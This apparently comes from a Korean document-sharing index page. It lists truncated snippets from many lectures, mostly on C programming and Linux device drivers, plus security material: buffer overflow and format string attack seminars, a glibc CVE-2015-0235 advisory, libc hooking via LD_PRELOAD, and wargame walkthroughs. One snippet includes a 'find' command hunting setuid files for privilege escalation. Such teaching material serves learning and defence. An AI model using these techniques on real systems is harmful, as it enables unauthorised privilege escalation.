Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

Microsoft PowerPoint - chap06-1Array.ppt

Microsoft PowerPoint - chap06-1Array.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

10.

10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을 리눅스 취약점대응방안권고 15. 01. 29 / KISA 취약점점검팀 15. 01. 30 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE-2015-0235 지정, 도메인네임을 IP로변환하는기능이포함된서비스 ( 메일, 웹등 ) 들은해당취약점에영향을받을수있음 취약점상세분석

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

Linux Binary Hardening with Glibc Hyeonho Seo

Linux Binary Hardening with Glibc Hyeonho Seo Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

Microsoft Word - 3부A windows 환경 IVF + visual studio.doc

Microsoft Word - 3부A windows 환경 IVF + visual studio.doc Visual Studio 2005 + Intel Visual Fortran 9.1 install Intel Visual Fortran 9.1 intel Visual Fortran Compiler 9.1 만설치해서 DOS 모드에서실행할수있지만, Visual Studio 2005 의 IDE 를사용하기위해서는 Visual Studio 2005 를먼저설치후 Integration

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

Microsoft PowerPoint - additional01.ppt [호환 모드]

Microsoft PowerPoint - additional01.ppt [호환 모드] 1.C 기반의 C++ part 1 함수 오버로딩 (overloading) 디폴트매개변수 (default parameter) 인-라인함수 (in-line function) 이름공간 (namespace) Jong Hyuk Park 함수 Jong Hyuk Park 함수오버로딩 (overloading) 함수오버로딩 (function overloading) C++ 언어에서는같은이름을가진여러개의함수를정의가능

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드

More information

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D> 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 프로세스생성 [1] 프로그램실행

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 3/24 프로세스생성 [1]

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D> 학습목표 통신프로그램이무엇인지이해한다. 을이용한 IPC 기법을이해한다. 함수를사용해프로그램을작성할수있다. IT CookBook, 유닉스시스템프로그래밍 2/20 목차 의개념 함수 해제함수 의보호모드변경 파일의크기확장 매핑된메모리동기화 데이터교환하기 의개념 파일을프로세스의메모리에매핑 프로세스에전달할데이터를저장한파일을직접프로세스의가상주소공간으로매핑 read, write

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그 The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin (soh357@gmail.com) -Contents- 0x00 프롤로그 -------------------------------------------------------------------------- 2 0x01 gate -----------------------------------------------------------------------------

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information

4. 1 포인터와 1 차원배열 4. 2 포인터와 2 차원배열 4. 3 포인터배열 4. 4 포인터와문자그리고포인터와문자열

4. 1 포인터와 1 차원배열 4. 2 포인터와 2 차원배열 4. 3 포인터배열 4. 4 포인터와문자그리고포인터와문자열 - Part2-4 4. 1 포인터와 1 차원배열 4. 2 포인터와 2 차원배열 4. 3 포인터배열 4. 4 포인터와문자그리고포인터와문자열 4.1 포인터와 1 차원배열 4.1 1 (1/16)- - - [4-1.c ] #include int main(void) { int array[3]={10, 20, 30}; } prind("%x %x %x

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

BufferOverflow on Solaris Sparc

BufferOverflow on Solaris Sparc BufferOverflow on Solaris Sparc by Tyger (nobody4@empal.com) 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다.

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

PowerPoint Presentation

PowerPoint Presentation #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을작성하면서 C 프로그램의구성요소에대하여알아본다.

More information

학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력

학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력 학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력을예측하시오. $ cd /usr $ ls..? $ ls.? 2. 다음그림은어떤프로세스가다음코드를수행했다는가정에서도시되었다.

More information

C 언어 프로그래밊 과제 풀이

C 언어 프로그래밊 과제 풀이 과제풀이 (1) 홀수 / 짝수판정 (1) /* 20094123 홍길동 20100324 */ /* even_or_odd.c */ /* 정수를입력받아홀수인지짝수인지판정하는프로그램 */ int number; printf(" 정수를입력하시오 => "); scanf("%d", &number); 확인 주석문 가필요한이유 printf 와 scanf 쌍

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

2009년 상반기 사업계획

